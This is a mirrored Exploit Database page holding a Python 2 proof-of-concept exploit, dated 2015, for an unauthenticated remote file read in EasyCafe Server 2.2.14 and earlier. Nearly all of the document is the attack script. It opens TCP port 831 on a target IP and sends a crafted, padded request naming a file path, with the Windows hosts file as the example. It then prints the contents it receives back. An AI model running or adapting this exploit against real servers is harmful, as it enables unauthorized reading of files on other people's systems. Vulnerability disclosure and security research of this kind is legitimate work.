EasyCafe Server 2.2.14 – Remote File Read

• Exploit Database
• 145 阅读

• 作者： R-73eN
  日期： 2015-12-26
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/39102/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56

  #!/usr/bin/python -w # Title : EasyCafe Server <= 2.2.14 Remote File Read # Date : 25/12/2015 # Author : R-73eN # Tested on : Windows 7 Ultimate # Software Link : http://www.tinasoft.com/easycafe/ # Download Link: http://www.tinasoft.com/Download/easysetup.exe # Vulnerable Versions : EasyCafe Server <= 2.2.14 # EasyCafe Server has a feature to upload file from the server to a client. # And the request is as following. EasyCafe Server sends an UDP request to the client with the file that wants to upload, # Then the client receives the packet and connects to the server on port 831 and sends the directory of the file and receives it. # The problem is that a remote attacker can connect to port 831 and can retrive a file becuase the server doesn&apos;t validate the request, # and does not check if it has sent the UDP request which gives us full Read access to the system. # #EDB Note: Code my need some adjusting   import socket #Banner banner = "" banner += "_________ __\n" banner +=" |_ _|_ __/ _| ___/ ___| ___ _ __/ \| |\n" banner +="| || &apos;_ \| |_ / _ \| |_ / _ \ &apos;_ \/ _ \ | |\n" banner +="| || | | |_| (_) | |_| |__/ | | |/ ___ \| |___ \n" banner +=" |___|_| |_|_|\___/ \____|\___|_| |_| /_/ \_\_____|\n\n" print banner       IP = "192.168.43.36" # Target IP PORT = 831 file_to_read = "C:\\Windows\\System32\\drivers\\etc\\hosts" # File to read       s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((IP, PORT)) file_to_read = "\x43" + file_to_read hex_value = &apos;&apos;.join(x.encode(&apos;hex&apos;) for x in file_to_read) fill = "\x00" end = "\x01\x00\x00\x00\x01" payload = hex_value.decode("hex") + fill * (261 - len(end) - len(file_to_read)) + end s.send(payload) s.settimeout(0) print "[+] Request Send Waiting for Response . . . [+]"   try: data = s.recv(261) # Get header while data: data = s.recv(2048) print data except Exception: print "[+] https://www.infogen.al/ [+]" finally: s.close()